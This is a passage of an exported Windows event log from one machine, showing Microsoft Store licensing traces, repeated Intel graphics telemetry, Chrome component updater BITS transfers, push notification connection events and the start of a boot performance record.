Lease:Invalid => {2779D781-9DB3-5818-8A8F-961408D4CA65}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8001\t\"Requesting lease document removal for reason 0x00000000, {2779D781-9DB3-5818-8A8F-961408D4CA65}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.287\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2da9b29d-6370-e263-afcc-4c90e8d0d7d6\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=9cd2c66b-d3f2-3342-77a1-fde6e819ac29&entitlementId=2da9b29d-6370-e263-afcc-4c90e8d0d7d6&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"e6afc57e-e948-0700-1f5b-021330ec499e\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"9cd2c66b-d3f2-3342-77a1-fde6e819ac29\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9PCTGDFXVZLJ\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-07-07T01:54:10.2890432+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.287\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.287\t8002\t\"Trying to remove timer {2779D781-9DB3-5818-8A8F-961408D4CA65} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.287\t8001\t\"Removed timer for {2779D781-9DB3-5818-8A8F-961408D4CA65}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.418\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.584\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.741\t60\tBITS stopped transferring the Chrome Component Updater transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/diffgen-puffin/efniojlnjndmcbiieegkicadnoecjjef/ae6b89eb3be749b5186b193ff53cabf3cbe70afebade5d567ce2cc60993edde1 URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:25.748\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.910\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.174\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.345\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.613\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.769\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.925\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.083\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.257\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.353\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:27.354\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:27.354\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:27.360\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:27.431\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.594\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.758\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.915\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.086\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.253\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.367\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.367\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.367\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.377\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.387\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.399\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.401\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.401\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.416\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.578\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.731\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.901\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.939\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Chrome Component Updater\nJob ID: {df57cb3c-61e4-42c9-af52-ac0b58945dbd}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:29.109\t3\t\"The BITS service created a new job.\nTransfer job: Chrome Component Updater\nJob ID: {36175a71-627d-4263-a8a6-33d45942d660}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\nProcess ID: 14724\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:29.115\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:29.158\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:29.221\t59\tBITS started the Chrome Component Updater transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/diffgen-puffin/hfnkpimlhhgieaddgfemjhofmfblmnib/2d5a57c27ad51b4804bdb8eb2e3358b685f3d3502788f352c1a0b9704e741b19 URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:29.243\t114\tRemoved URL (http://*:2869/upnp/eventing/) from URL group (0xFE00000720000001). Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:29.262\t113\tAttempted to add URL (http://*:2869/upnp/eventing/) to URL group (0xFE00000E20000001). Status: 0x0. Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:29.316\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:29.333\t114\tRemoved URL (http://*:2869/upnp/eventing/) from URL group (0xFE00000E20000001). Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:29.360\t113\tAttempted to add URL (http://*:2869/upnp/eventing/) to URL group (0xFA00000C20000001). Status: 0x0. Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:29.512\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:29.678\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:29.850\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.010\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.167\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.218\t60\tBITS stopped transferring the Chrome Component Updater transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/diffgen-puffin/hfnkpimlhhgieaddgfemjhofmfblmnib/2d5a57c27ad51b4804bdb8eb2e3358b685f3d3502788f352c1a0b9704e741b19 URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:30.330\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.491\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.663\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.825\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.980\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.135\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.299\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.453\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.728\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.897\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.053\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.214\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.352\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_WIN32_TERMINALSERVICE_Prov, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:30:32.420\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.585\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.744\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.897\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.055\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.137\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Chrome Component Updater\nJob ID: {36175a71-627d-4263-a8a6-33d45942d660}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:33.224\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.262\t100\tDiagnostic module {c8544339-5be9-4f25-862e-485f1b1a6935} (%SystemRoot%\\system32\\diagperf.dll) detected a problem for scenario {86432a0b-3c7d-4ddf-a89c-172faa90485d}, instance {1282433c-4545-40de-ba0f-f72608f6da4b}, original activity ID {86432a0b-3c7d-4ddf-a89c-172faa90485d}.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:30:33.262\t105\tDiagnostic module {c8544339-5be9-4f25-862e-485f1b1a6935} (%SystemRoot%\\system32\\diagperf.dll) started troubleshooting scenario {86432a0b-3c7d-4ddf-a89c-172faa90485d}, instance {1282433c-4545-40de-ba0f-f72608f6da4b}, original activity ID {86432a0b-3c7d-4ddf-a89c-172faa90485d}.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:30:33.391\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.568\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.749\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.923\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.090\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.283\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.475\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.651\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.830\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.990\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.158\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.344\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.557\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.731\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.916\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.115\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.287\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.477\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.633\t100\t\"Windows has started up: \n     Boot Duration\t\t:\t33329ms\n     IsDegradation\t\t:\tfalse\n     Incident Time 